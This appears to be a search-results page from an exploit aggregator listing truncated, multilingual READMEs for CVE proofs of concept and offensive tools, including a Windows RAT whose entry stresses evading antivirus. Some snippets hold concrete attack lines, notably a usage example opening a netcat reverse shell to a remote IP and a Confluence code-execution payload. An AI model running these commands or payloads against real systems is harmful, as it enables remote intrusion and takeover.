998882 matches found
POC-CVE-2021-42013-EXPLOIT
-ff0055?style=for-the-badge&logo=python root@kitploit: 🔥 CVE-2021-42013 Exploit Framework by Makaveli 💀 Modo Hacker Cósmico Multidimensional activado... Una herramienta avanzada de escaneo, explotación e interacción remota diseñada para detectar y aprovechar la vulnerabilidad Apache Path Traversa...
CVE-2025-39601
🚨 CVE-2025-39601 - WordPress Custom CSS, JS & PHP プラグイン WordPress Custom CSS, JS & PHP plugin CSRF PoC - WordPress Custom CSS, JS & PHP plugin By : Nxploited | Khaled Alenazi input type="hidden" name...
CVE-2022-30887
CVE-2022-30887 Pharmacy Management System 1.0 シェルアップロード このアプリケーションはMayurikによって構築されました。 Pharmacy management systemプロジェクトは、セキュリティと管理を通じて薬局の正確性と効率を向上させるためにPHPで開発されました。簡単に言えば、製品在庫管理アプリケーションです。 Pharmacy Management System...
Firefox-CVE-2016-9079
Firefox RCE CVE-2016-9079 nsSMILTimeContainer これは https://www.exploit-db.com/exploits/41151 の手動エクスプロイトです。別のもの（https://github.com/soham23/firefox-rce-nssmil）がWindows 10用に存在しますが、Windows 8.1では動作しなかったため、独自に作成しました。 241行目を自分のシェルコードに変更する必要があります。この行の上に例があります。 リポジトリをダウンロードし、サーバーを起動します。Pythonサーバーで問題なく動作します...
cve-2022-22954
CVE-2022-22954 本包检测 CVE-2022-22954 攻击尝试和利用的一个子集，生成通知，并包含利用 URI 以及作为响应发送回攻击者的前 4KB 数据。虽然通过日志分析检测此攻击更为直接，但本包通过记录发送回攻击者的响应来协助事件响应。 示例通知 本包可生成两种通知： VMWareRCE2022::ExploitAttempt，以及 VMWareRCE2022::ExploitSuccess 第一种是在尝试攻击时生成，但不一定成功。第二种仅在检测到成功利用时触发，应立即进行调查。以下是成功利用通知的示例。 root@kitploit: 1223906136.104000...
CVE-2025-24893
CVE-2025-24893 XWiki の 15.10.11、16.4.1、16.5.0RC1 より前のバージョンに対するリモートコード実行エクスプロイト。 使用方法 root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 倫理的な目的にのみ使用してください :...
connectwise-screenconnect_auth-bypass-add-user-poc
CVE-2024-1708 和 CVE-2024-1709 由 @watchTowr 开发的概念验证（PoC），利用身份验证绕过漏洞在 ConnectWise ScreenConnect 中添加新的管理用户。这是简单的远程命令执行链的第一步。 关注 watchTowr 实验室团队，获取我们的安全研究 https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...
CiscoExploit
CiscoExploit Cisco 扫描（IP/端口/主机名/引导/版本） https://www.cnblogs.com/k8gege/p/10679491.html CVE-2019-1821 Cisco Prime Infrastructure 远程代码执行 https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html Cisco SNMP 远程代码执行 https://github.com/artkond/cisco-snmp-rc...
RATel
RATel ウイルストータルにアップロードしないでください！ RATel がアンチウイルスに検出されるのを防ぐため、ペイロードを TOTAL VIRUS にアップロードしないでください。 毎月、ペイロードがアンチウイルスに検出されるかどうかを自分でテストします。 これにより、RATel のステルス性を証明する毎月のスクリーンショットを提供できます。 説明 RAT-el は、Windows マシンを制御できるオープンソースのペネトレーションテストツールです。 クライアント・サーバーモデルで動作し、サーバーがコマンドを送信し、クライアントがコマンドを実行して結果をサーバーに返します。...
ConfluentPwn
ConfluentPwn Confluence 预认证 ONGL 注入远程代码执行扫描器 CVE-2022-26134。 使用方法 下方 GIF 展示了工具的使用演示： 以下是工具的帮助输出： root@kitploit: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - A Modern Attack Surface ASM Management...
CVE-2025-55182-Dockerized
CVE-2025-55182 - Docker化的概念验证 本仓库包含了CVE-2025-55182的Docker化概念验证，这是一个在React Server Components RSC 中的严重远程代码执行漏洞，影响使用Server Actions的Next.js应用。 致谢 原始概念验证和漏洞分析由msanft创建。本仓库通过提供一个Docker化测试环境来扩展其工作，以便于测试和演示。 快速开始 前提条件 已安装并运行的Docker Python 3及requests库（pip install requests） 运行漏洞利用 1. 启动存在漏洞的Next.js服务器：...
CVE-2025-24893-PoC
免責表明： 本稿で説明される脆弱性およびその再現手順は、サイバーセキュリティの研究および教育目的のみに使用されます。いかなる者も、本稿で提供される情報を違法目的または無許可のシステムテストに使用してはなりません。著者は、本情報の使用により生じたいかなる直接的または間接的損害についても責任を負いません。著作権侵害が疑われる場合は、速やかにご連絡ください。速やかに対処し、関連コンテンツを削除いたします。 使用方法： python CVE-2025-24893.py URL COMMAND...
React2ShellPoC
CVE-2025-55182 React2Shell の理解: React Server Componentsを介したリモートコード実行の詳細な解説 概要 CVE-2025-55182（React2Shell としても知られる）は、React Server Components に影響を与える重大なリモートコード実行（RCE）脆弱性です。この欠陥により、認証されていない攻撃者が、Reactの Flightプロトコルにおける安全でないデシリアライゼーション 問題を悪用して、脆弱なサーバー上で任意のコードを実行できます。 CVSSスコア10.0...
PyStat
PyStat - Windows向け高度なNetstat Pythonバージョン2.7との互換性 機能 プロセスのリモートアドレスを確認 プロセスのリモートポートを確認 プロセスを使用しているユーザー、タイトル、PIDを確認 変更履歴: install.pyにPythonモジュールの自動インストールサポートを追加 インストールガイド: .zipファイルをダウンロード .zipファイルからpystatフォルダを任意のドライブに展開します。例: C:\tools\pystat C:\tools\pystatに移動し、SHIFTキーを押しながら右クリックして「ここでコマンドウィンドウを開く」を...
CVE-2025-3248
Langflow CVE-2025-3248 Exploit CVE-2025-3248 に対する Python ベースのエクスプロイトです。細工された HTTP リクエストを介して、リモートかつ認証不要の攻撃者が脆弱な Langflow インスタンス上で任意のコードを実行できるようにします。 特徴 単一 URL またはファイルからの一括スキャン 自動脆弱性検出 コマンド実行機能 タイミング情報を含む詳細な出力 脆弱性あり/なしのターゲットごとに別々のファイルに結果を保存 スキャン性能に関するベンチマーク統計 使い方 単一 URL スキャン root@kitploit: python...
-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server
-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server 此漏洞可能允许攻击者完全控制易受攻击的 Confluence 服务器。攻击者可以窃取数据、修改数据或破坏服务器的可用性。 Poc 创建一个 JavaScript 文件并为其命名（exploit.js），然后放入以下行 root@kitploit: new java.lang.ProcessBuilder"java.lang.String""calc.exe".start 并通过以下命令发送请求以上传新语言 root@kitploit: curl -X POST...
CVE-2018-2893
CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy テスト環境-Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: 外部ネットワークにはRMIリモートサーバーがあるため、シェルを取得するのは非常に便利です。内部ネットワークの場合は、自分のRMIサーバーを指定しないと、リバースシェルを取得できません !!! 0x01 generate-payload 0x02 send-payload...
S2-045-EXP-POC-TOOLS
CNVD-ID CNVD-2017-02474 発行日 2017-03-07 危険レベル 高 AV:N/AC:L/Au:N/C:C/I:C/A:C 影響製品 Apache struts =2.3.5、=2.5、 CVE識別子 CVE-2017-5638 問題 It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display ...
kubebox
= Kubebox small^⎈❏^ Antonin Stefanutti https://github.com/astefanutti@astefanutti // Meta :description: Terminal and Web console for Kubernetes // Settings :idprefix: :idseparator: - :experimental: // Aliases ifdef::env-github :note-caption: ℹ️ :icon-check: ✔️ :icon-edit: ✏️ endif::...